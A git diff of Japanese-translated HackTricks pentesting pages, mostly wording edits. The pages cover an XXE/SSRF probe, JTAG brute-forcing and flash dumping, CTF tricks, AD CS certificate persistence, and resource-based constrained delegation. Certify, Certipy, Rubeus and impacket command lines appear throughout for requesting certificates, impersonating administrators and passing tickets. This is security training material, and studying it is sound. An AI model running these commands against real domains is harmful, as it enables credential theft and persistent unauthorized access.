最小限のJMFスタイルのSSRFプローブ(構造は製品によって異なりますが、DOCTYPEが重要です):
|
||||
@ -787,8 +787,8 @@ DocumentBuilder builder = dbf.newDocumentBuilder();
|
||||
</JMF>
|
||||
```
|
||||
ノート:
|
||||
- エンティティのURLをコラボレーターに置き換えます。SSRFが可能な場合、サーバーはメッセージを解析する際にそれを解決します。
|
||||
- 確認すべきハードニング: `disallow-doctype-decl=true`, `external-general-entities=false`, `external-parameter-entities=false`。
|
||||
- エンティティのURLをあなたのコラボレーターに置き換えます。SSRFが可能な場合、サーバーはメッセージを解析する際にそれを解決します。
|
||||
- 検討すべきハードニング: `disallow-doctype-decl=true`, `external-general-entities=false`, `external-parameter-entities=false`。
|
||||
- JMFポートがファイルを提供しない場合でも、SSRFは内部の再調査やlocalhostにバインドされた管理APIに到達するためにチェーンできます。
|
||||
|
||||
このベクターに関する参考文献はページの最後にリストされています。
|
||||
|
@ -8,14 +8,14 @@ README.md
|
||||
|
||||
## JTAGenum
|
||||
|
||||
[**JTAGenum**](https://github.com/cyphunk/JTAGenum) は、Arduino互換のMCUまたは(実験的に)Raspberry Piにロードできるツールで、未知のJTAGピンアウトをブルートフォースし、命令レジスタを列挙することができます。
|
||||
[**JTAGenum**](https://github.com/cyphunk/JTAGenum) は、Arduino互換のMCUまたは(実験的に)Raspberry Piにロードして、未知のJTAGピンアウトをブルートフォースし、命令レジスタを列挙するためのツールです。
|
||||
|
||||
- Arduino: デジタルピンD2–D11を最大10の疑わしいJTAGパッド/テストポイントに接続し、Arduino GNDをターゲットGNDに接続します。レールが安全であることがわからない限り、ターゲットに別途電源を供給してください。3.3 Vロジック(例: Arduino Due)を好むか、1.8–3.3 Vターゲットをプローブする際にはレベルシフタ/直列抵抗を使用してください。
|
||||
- Raspberry Pi: Piビルドは使用可能なGPIOが少ないため(スキャンが遅くなる)、現在のピンマップと制約についてはリポジトリを確認してください。
|
||||
- Arduino: デジタルピンD2–D11を最大10の疑わしいJTAGパッド/テストポイントに接続し、Arduino GNDをターゲットGNDに接続します。レールが安全であることがわからない限り、ターゲットに別途電源を供給してください。3.3 Vロジック(例:Arduino Due)を好むか、1.8–3.3 Vターゲットをプローブする際にはレベルシフタ/直列抵抗を使用してください。
|
||||
- Raspberry Pi: Piビルドは使用可能なGPIOが少なく(スキャンが遅くなる)、現在のピンマップと制約についてはリポジトリを確認してください。
|
||||
|
||||
フラッシュが完了したら、115200ボーでシリアルモニターを開き、ヘルプのために `h` を送信します。典型的なフロー:
|
||||
フラッシュが完了したら、115200ボーでシリアルモニタを開き、ヘルプのために `h` を送信します。典型的なフロー:
|
||||
|
||||
- `l` 偽陽性を避けるためにループバックを見つける
|
||||
- `l` ループバックを見つけて偽陽性を避ける
|
||||
- `r` 必要に応じて内部プルアップを切り替える
|
||||
- `s` TCK/TMS/TDI/TDO(時にはTRST/SRST)をスキャンする
|
||||
- `y` 文書化されていないオペコードを発見するためにIRをブルートフォースする
|
||||
@ -27,6 +27,8 @@ README.md
|
||||
|
||||
.png>)
|
||||
|
||||
|
||||
|
||||
有効なTAPが見つかると、発見されたピンを示す `FOUND!` で始まる行が表示されます。
|
||||
|
||||
ヒント
|
||||
@ -37,11 +39,11 @@ README.md
|
||||
|
||||
- まずマルチメーターでVtrefとGNDを特定します。多くのアダプタはI/O電圧を設定するためにVtrefを必要とします。
|
||||
- レベルシフティング: プッシュプル信号用に設計された双方向レベルシフタを好みます(JTAGラインはオープンドレインではありません)。JTAG用の自動方向I2Cシフタは避けてください。
|
||||
- 有用なアダプタ: FT2232H/FT232Hボード(例: Tigard)、CMSIS-DAP、J-Link、ST-LINK(ベンダー特有)、ESP-USB-JTAG(ESP32-Sx上)。最低限TCK、TMS、TDI、TDO、GNDおよびVtrefを接続します; オプションでTRSTとSRSTも接続します。
|
||||
- 有用なアダプタ: FT2232H/FT232Hボード(例:Tigard)、CMSIS-DAP、J-Link、ST-LINK(ベンダー特有)、ESP-USB-JTAG(ESP32-Sx上)。最低限TCK、TMS、TDI、TDO、GNDおよびVtrefを接続し、オプションでTRSTとSRSTを接続します。
|
||||
|
||||
## First contact with OpenOCD (scan and IDCODE)
|
||||
|
||||
OpenOCDはJTAG/SWDの事実上のOSSです。サポートされているアダプタを使用すると、チェーンをスキャンしてIDCODEを読み取ることができます。
|
||||
OpenOCDはJTAG/SWDの事実上のOSSです。サポートされているアダプタを使用すると、チェーンをスキャンしてIDCODEを読み取ることができます:
|
||||
|
||||
- J-Linkを使用した一般的な例:
|
||||
```
|
||||
@ -58,7 +60,7 @@ openocd -f board/esp32s3-builtin.cfg -c "init; scan_chain; shutdown"
|
||||
|
||||
## CPUの停止とメモリ/フラッシュのダンプ
|
||||
|
||||
TAPが認識され、ターゲットスクリプトが選択されると、コアを停止し、メモリ領域または内部フラッシュをダンプできます。例(ターゲット、ベースアドレス、サイズを調整してください):
|
||||
TAPが認識され、ターゲットスクリプトが選択されると、コアを停止させ、メモリ領域または内部フラッシュをダンプできます。例(ターゲット、ベースアドレス、サイズを調整してください):
|
||||
|
||||
- 初期化後の一般的なターゲット:
|
||||
```
|
||||
@ -77,7 +79,7 @@ openocd -f board/esp32s3-builtin.cfg \
|
||||
```
|
||||
Tips
|
||||
- `mdw/mdh/mdb`を使用して、長いダンプの前にメモリをサニティチェックします。
|
||||
- 複数デバイスのチェーンの場合、ターゲットでないデバイスにBYPASSを設定するか、すべてのTAPを定義するボードファイルを使用します。
|
||||
- マルチデバイスチェーンの場合、非ターゲットにBYPASSを設定するか、すべてのTAPを定義するボードファイルを使用します。
|
||||
|
||||
## バウンダリスキャンのトリック (EXTEST/SAMPLE)
|
||||
|
||||
@ -108,7 +110,7 @@ jtag> dr <bit pattern for boundary register>
|
||||
- 製造時にJTAG/SWDを永久に無効にするかロックします(例:STM32 RDPレベル2、PAD JTAGを無効にするESP eFuses、NXP/Nordic APPROTECT/DPAP)。
|
||||
- 製造アクセスを維持しながら、認証されたデバッグを要求します(ARMv8.2‑A ADIv6デバッグ認証、OEM管理のチャレンジ‑レスポンス)。
|
||||
- 簡単なテストパッドを配線しないでください;テストビアを埋め、TAPを隔離するために抵抗を取り除く/配置し、キー付きコネクタやポゴピンフィクスチャを使用します。
|
||||
- 電源オンデバッグロック:初期ROMの背後にTAPをゲートし、安全なブートを強制します。
|
||||
- 電源オンデバッグロック:セキュアブートを強制する初期ROMの背後にTAPをゲートします。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -1,56 +0,0 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
ping応答のTTL:\
|
||||
127 = Windows\
|
||||
254 = Cisco\
|
||||
他は、いくつかのLinux
|
||||
|
||||
$1$- md5\
|
||||
$2$または $2a$ - Blowfish\
|
||||
$5$- sha256\
|
||||
$6$- sha512
|
||||
|
||||
サービスの背後に何があるかわからない場合は、HTTP GETリクエストを試みてください。
|
||||
|
||||
**UDPスキャン**\
|
||||
nc -nv -u -z -w 1 \<IP> 160-16
|
||||
|
||||
特定のポートに空のUDPパケットが送信されます。UDPポートが開いている場合、ターゲットマシンからの応答は返されません。UDPポートが閉じている場合、ターゲットマシンからICMPポート到達不能パケットが返されるべきです。\
|
||||
|
||||
UDPポートスキャンはしばしば信頼性が低く、ファイアウォールやルーターがICMP\
|
||||
パケットをドロップする可能性があります。これによりスキャンでの偽陽性が発生し、スキャンされたマシンのすべてのUDPポートが開いていると表示されることがよくあります。\
|
||||
ほとんどのポートスキャナーはすべての利用可能なポートをスキャンせず、通常はスキャンされる「興味深いポート」のプリセットリストを持っています。
|
||||
|
||||
# CTF - トリック
|
||||
|
||||
**Windows**では、**Winzip**を使用してファイルを検索します。\
|
||||
**代替データストリーム**: _dir /r | find ":$DATA"_\
|
||||
```
|
||||
binwalk --dd=".*" <file> #Extract everything
|
||||
binwalk -M -e -d=10000 suspicious.pdf #Extract, look inside extracted files and continue extracing (depth of 10000)
|
||||
```
|
||||
## Crypto
|
||||
|
||||
**featherduster**\
|
||||
|
||||
**Basae64**(6—>8) —> 0...9, a...z, A…Z,+,/\
|
||||
**Base32**(5 —>8) —> A…Z, 2…7\
|
||||
**Base85** (Ascii85, 7—>8) —> 0...9, a...z, A...Z, ., -, :, +, =, ^, !, /, \*, ?, &, <, >, (, ), \[, ], {, }, @, %, $, #\
|
||||
**Uuencode** --> "_begin \<mode> \<filename>_" で始まり、奇妙な文字\
|
||||
**Xxencoding** --> "_begin \<mode> \<filename>_" で始まり、B64\
|
||||
\
|
||||
**Vigenere** (頻度分析) —> [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)\
|
||||
**Scytale** (文字のオフセット) —> [https://www.dcode.fr/scytale-cipher](https://www.dcode.fr/scytale-cipher)
|
||||
|
||||
**25x25 = QR**
|
||||
|
||||
factordb.com\
|
||||
rsatool
|
||||
|
||||
Snow --> スペースとタブを使ってメッセージを隠す
|
||||
|
||||
# Characters
|
||||
|
||||
%E2%80%AE => RTL文字(ペイロードを逆に書く)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**これは、[https://specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://specterops.io/assets/resources/Certified_Pre-Owned.pdf) の素晴らしい研究のアカウント持続性章の小さな要約です。**
|
||||
**これは、[https://specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://specterops.io/assets/resources/Certified_Pre-Owned.pdf)の素晴らしい研究のアカウント持続性章の小さな要約です。**
|
||||
|
||||
## 証明書を使用したアクティブユーザー資格情報の盗難の理解 – PERSIST1
|
||||
|
||||
ユーザーがドメイン認証を許可する証明書を要求できるシナリオでは、攻撃者はこの証明書を要求して盗む機会を得て、ネットワーク上で持続性を維持することができます。デフォルトでは、Active Directoryの `User` テンプレートはそのような要求を許可しますが、場合によっては無効にされることがあります。
|
||||
ユーザーがドメイン認証を許可する証明書を要求できるシナリオでは、攻撃者はこの証明書を要求して盗む機会を得て、ネットワーク上で持続性を維持することができます。デフォルトでは、Active Directoryの`User`テンプレートはそのような要求を許可しますが、場合によっては無効になっていることがあります。
|
||||
|
||||
[Certify](https://github.com/GhostPack/Certify) または [Certipy](https://github.com/ly4k/Certipy) を使用して、クライアント認証を許可する有効なテンプレートを検索し、その後1つを要求できます:
|
||||
[Certify](https://github.com/GhostPack/Certify)や[Certipy](https://github.com/ly4k/Certipy)を使用して、クライアント認証を許可する有効なテンプレートを検索し、1つを要求することができます。
|
||||
```bash
|
||||
# Enumerate client-auth capable templates
|
||||
Certify.exe find /clientauth
|
||||
@ -19,9 +19,9 @@ Certify.exe request /ca:CA-SERVER\CA-NAME /template:User
|
||||
# Using Certipy (RPC/DCOM/WebEnrollment supported). Saves a PFX by default
|
||||
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' -template 'User' -out user.pfx
|
||||
```
|
||||
証明書の力は、それが属するユーザーとして認証する能力にあります。パスワードが変更されても、証明書が有効である限り、その能力は変わりません。
|
||||
証明書の力は、それが属するユーザーとして認証する能力にあります。パスワードの変更に関係なく、証明書が有効である限り、その能力は維持されます。
|
||||
|
||||
PEMをPFXに変換し、それを使用してTGTを取得できます:
|
||||
PEMをPFXに変換し、それを使用してTGTを取得できます:
|
||||
```bash
|
||||
# Convert PEM returned by Certify to PFX
|
||||
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
|
||||
@ -36,7 +36,7 @@ certipy auth -pfx user.pfx -dc-ip 10.0.0.10
|
||||
|
||||
## 証明書を使用したマシンの持続性の獲得 - PERSIST2
|
||||
|
||||
攻撃者がホスト上で特権を持っている場合、彼らはデフォルトの`Machine`テンプレートを使用して、侵害されたシステムのマシンアカウントに対して証明書を登録できます。マシンとして認証することで、ローカルサービスのためのS4U2Selfが有効になり、持続的なホストの持続性を提供することができます:
|
||||
攻撃者がホスト上で特権を持っている場合、妥協したシステムのマシンアカウントをデフォルトの`Machine`テンプレートを使用して証明書に登録できます。マシンとして認証することで、ローカルサービスのためのS4U2Selfが有効になり、持続的なホストの持続性を提供できます:
|
||||
```bash
|
||||
# Request a machine certificate as SYSTEM
|
||||
Certify.exe request /ca:dc.theshire.local/theshire-DC-CA /template:Machine /machine
|
||||
@ -46,7 +46,7 @@ Rubeus.exe asktgt /user:HOSTNAME$ /certificate:C:\Temp\host.pfx /password:Passw0
|
||||
```
|
||||
## Extending Persistence Through Certificate Renewal - PERSIST3
|
||||
|
||||
証明書テンプレートの有効期限と更新期間を悪用することで、攻撃者は長期的なアクセスを維持できます。以前に発行された証明書とその秘密鍵を持っている場合、期限切れの前にそれを更新することで、元の主体に関連付けられた追加のリクエストアーティファクトを残さずに、新しい長期的な資格情報を取得できます。
|
||||
証明書テンプレートの有効期限と更新期間を悪用することで、攻撃者は長期的なアクセスを維持できます。以前に発行された証明書とその秘密鍵を持っている場合、期限切れの前に更新することで、元の主体に関連付けられた追加のリクエストアーティファクトを残さずに、新しい長期的な資格情報を取得できます。
|
||||
```bash
|
||||
# Renewal with Certipy (works with RPC/DCOM/WebEnrollment)
|
||||
# Provide the existing PFX and target the same CA/template when possible
|
||||
@ -61,7 +61,7 @@ certreq -enroll -user -cert <SerialOrID> renew [reusekeys]
|
||||
|
||||
## 明示的な証明書マッピングの植え付け (altSecurityIdentities) – PERSIST4
|
||||
|
||||
ターゲットアカウントの`altSecurityIdentities`属性に書き込むことができれば、攻撃者が制御する証明書をそのアカウントに明示的にマッピングできます。これはパスワード変更を超えて持続し、強力なマッピング形式を使用する場合、最新のDC強制の下でも機能し続けます。
|
||||
ターゲットアカウントの`altSecurityIdentities`属性に書き込むことができれば、攻撃者が制御する証明書をそのアカウントに明示的にマッピングできます。これはパスワード変更を超えて持続し、強力なマッピング形式を使用することで、現代のDC強制の下でも機能し続けます。
|
||||
|
||||
高レベルのフロー:
|
||||
|
||||
@ -96,7 +96,7 @@ domain-escalation.md
|
||||
|
||||
## エンロールメントエージェントを使用した持続性 – PERSIST5
|
||||
|
||||
有効な証明書要求エージェント/エンロールメントエージェント証明書を取得すると、ユーザーの代わりに新しいログオン可能な証明書を自由に発行でき、エージェントPFXをオフラインで持続性トークンとして保持できます。悪用ワークフロー:
|
||||
有効な証明書リクエストエージェント/エンロールメントエージェント証明書を取得すると、ユーザーの代わりに新しいログオン可能な証明書を自由に発行でき、エージェントPFXをオフラインで持続トークンとして保持できます。悪用ワークフロー:
|
||||
```bash
|
||||
# Request an Enrollment Agent cert (requires template rights)
|
||||
Certify.exe request /ca:CA-SERVER\CA-NAME /template:"Certificate Request Agent"
|
||||
|
@ -1,36 +1,36 @@
|
||||
# リソースベースの制約付き委任
|
||||
# Resource-based Constrained Delegation
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## リソースベースの制約付き委任の基本
|
||||
## Basics of Resource-based Constrained Delegation
|
||||
|
||||
これは基本的な [Constrained Delegation](constrained-delegation.md) に似ていますが、**オブジェクト**に**任意のユーザーをマシンに対してなりすます**権限を与えるのではなく、リソースベースの制約付き委任は**そのオブジェクトに対して任意のユーザーをなりすますことができる**ユーザーを**設定**します。
|
||||
これは基本的な [Constrained Delegation](constrained-delegation.md) に似ていますが、**代わりに** **オブジェクト** に **任意のユーザーをマシンに対してなりすます権限を与える** のではなく、リソースベースの制約付き委任は **そのオブジェクトに対して任意のユーザーをなりすますことができる者を設定します**。
|
||||
|
||||
この場合、制約オブジェクトには、任意の他のユーザーをそのオブジェクトに対してなりすますことができるユーザーの名前を持つ属性 _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ が存在します。
|
||||
この場合、制約されたオブジェクトには、任意の他のユーザーをそのオブジェクトに対してなりすますことができるユーザーの名前を持つ属性 _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ が存在します。
|
||||
|
||||
この制約付き委任と他の委任との重要な違いは、**マシンアカウントに対する書き込み権限** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) を持つ任意のユーザーが **_msDS-AllowedToActOnBehalfOfOtherIdentity_** を設定できることです(他の委任形式ではドメイン管理者の特権が必要でした)。
|
||||
この制約付き委任と他の委任との重要な違いは、**マシンアカウントに対する書き込み権限** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) を持つ任意のユーザーが **_msDS-AllowedToActOnBehalfOfOtherIdentity_** を設定できることです(他の委任の形式ではドメイン管理者の特権が必要でした)。
|
||||
|
||||
### 新しい概念
|
||||
### New Concepts
|
||||
|
||||
制約付き委任では、ユーザーの _userAccountControl_ 値内の **`TrustedToAuthForDelegation`** フラグが **S4U2Self** を実行するために必要であると述べられていました。しかし、それは完全に真実ではありません。\
|
||||
実際には、その値がなくても、**サービス**(SPNを持つ)であれば任意のユーザーに対して **S4U2Self** を実行できますが、**`TrustedToAuthForDelegation`** を持っている場合、返される TGS は **Forwardable** になります。もしそのフラグを持っていない場合、返される TGS は **Forwardable** ではありません。
|
||||
実際には、その値がなくても、**サービス**(SPNを持つ)であれば任意のユーザーに対して **S4U2Self** を実行できますが、**`TrustedToAuthForDelegation`** を持っている場合、返される TGS は **Forwardable** になります。そして、そのフラグを持っていない場合、返される TGS は **Forwardable** ではありません。
|
||||
|
||||
ただし、**S4U2Proxy** で使用される **TGS** が **Forwardable でない**場合、基本的な制約付き委任を悪用しようとしても**機能しません**。しかし、リソースベースの制約付き委任を悪用しようとすると、**機能します**。
|
||||
ただし、**S4U2Proxy** で使用される **TGS** が **Forwardable でない** 場合、基本的な制約付き委任を悪用しようとしても **機能しません**。しかし、リソースベースの制約付き委任を悪用しようとしている場合は、**機能します**。
|
||||
|
||||
### 攻撃構造
|
||||
### Attack structure
|
||||
|
||||
> **コンピュータ**アカウントに対して**書き込み同等の権限**を持っている場合、そのマシンで**特権アクセス**を取得できます。
|
||||
> **コンピュータ** アカウントに対して **書き込み同等の特権** を持っている場合、そのマシンで **特権アクセス** を取得できます。
|
||||
|
||||
攻撃者がすでに**被害者コンピュータに対する書き込み同等の権限**を持っていると仮定します。
|
||||
攻撃者がすでに **被害者コンピュータに対する書き込み同等の特権** を持っていると仮定します。
|
||||
|
||||
1. 攻撃者は**SPN**を持つアカウントを**侵害**するか、**作成します**(“Service A”)。注意すべきは、**特別な権限**を持たない**管理ユーザー**は最大10個のコンピュータオブジェクト(**_MachineAccountQuota_**)を**作成**し、SPNを設定できることです。したがって、攻撃者はコンピュータオブジェクトを作成し、SPNを設定することができます。
|
||||
2. 攻撃者は被害者コンピュータ(ServiceB)に対する**書き込み権限**を悪用して、**リソースベースの制約付き委任を構成し、ServiceAがその被害者コンピュータ(ServiceB)に対して任意のユーザーをなりすますことを許可します**。
|
||||
3. 攻撃者は Rubeus を使用して、**特権アクセスを持つユーザー**のために Service A から Service B への **フル S4U 攻撃**(S4U2Self と S4U2Proxy)を実行します。
|
||||
1. S4U2Self(侵害または作成されたアカウントの SPN から):**私に対する管理者の TGS を要求します**(Forwardable ではない)。
|
||||
2. S4U2Proxy:前のステップの**Forwardable でない TGS**を使用して、**被害者ホスト**への**管理者**の**TGS**を要求します。
|
||||
3. Forwardable でない TGS を使用している場合でも、リソースベースの制約付き委任を悪用しているため、**機能します**。
|
||||
4. 攻撃者は**チケットをパス**し、ユーザーを**なりすまし**て**被害者 ServiceB へのアクセスを取得します**。
|
||||
1. 攻撃者は **SPN** を持つアカウントを **侵害** するか、**作成します**(“Service A”)。注意すべきは、**特別な特権を持たない** _Admin User_ は最大10個のコンピュータオブジェクト(**_MachineAccountQuota_**)を **作成** し、**SPN** を設定できることです。したがって、攻撃者はコンピュータオブジェクトを作成し、SPNを設定することができます。
|
||||
2. 攻撃者は被害者コンピュータ(ServiceB)に対する **書き込み権限** を悪用して、**リソースベースの制約付き委任を構成し、ServiceAがその被害者コンピュータ(ServiceB)に対して任意のユーザーをなりすますことを許可します**。
|
||||
3. 攻撃者は Rubeus を使用して、**Service A から Service B への完全な S4U 攻撃**(S4U2Self と S4U2Proxy)を実行します。対象は **Service B に特権アクセスを持つユーザー** です。
|
||||
1. S4U2Self(侵害または作成されたアカウントの SPN から):**私に対する Administrator の TGS を要求します**(Forwardable ではない)。
|
||||
2. S4U2Proxy:前のステップの **Forwardable でない TGS** を使用して、**被害者ホスト** に対する **Administrator** の **TGS** を要求します。
|
||||
3. Forwardable でない TGS を使用している場合でも、リソースベースの制約付き委任を悪用しているため、**機能します**。
|
||||
4. 攻撃者は **パス・ザ・チケット** を行い、ユーザーを **なりすまし、被害者 ServiceB へのアクセスを得ます**。
|
||||
|
||||
ドメインの _**MachineAccountQuota**_ を確認するには、次のコマンドを使用できます:
|
||||
```bash
|
||||
@ -50,7 +50,7 @@ Get-DomainComputer SERVICEA
|
||||
```
|
||||
### リソースベースの制約付き委任の構成
|
||||
|
||||
**activedirectory PowerShell モジュールを使用**
|
||||
**activedirectory PowerShellモジュールを使用**
|
||||
```bash
|
||||
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
|
||||
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked
|
||||
@ -76,7 +76,7 @@ msds-allowedtoactonbehalfofotheridentity
|
||||
```bash
|
||||
.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local
|
||||
```
|
||||
このコマンドは、そのアカウントのRC4およびAESハッシュを出力します。\
|
||||
これにより、そのアカウントのRC4およびAESハッシュが印刷されます。\
|
||||
次に、攻撃を実行できます:
|
||||
```bash
|
||||
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt
|
||||
@ -172,7 +172,7 @@ impacket-rbcd -delegate-to 'VICTIM$' -action flush 'domain.local/jdoe:Summer2025
|
||||
- 偽装しようとしているユーザーが希望するサービスにアクセスできない(偽装できないか、十分な権限がないため)
|
||||
- 要求されたサービスが存在しない(winrmのチケットを要求したが、winrmが実行されていない場合)
|
||||
- 作成されたfakecomputerが脆弱なサーバーに対する権限を失っており、それを戻す必要がある。
|
||||
- クラシックKCDを悪用しています。RBCDは非転送可能なS4U2Selfチケットで機能することを覚えておいてください。一方、KCDは転送可能である必要があります。
|
||||
- クラシックKCDを悪用している;RBCDは非転送可能なS4U2Selfチケットで機能することを覚えておいてください。一方、KCDは転送可能である必要があります。
|
||||
|
||||
## Notes, relays and alternatives
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user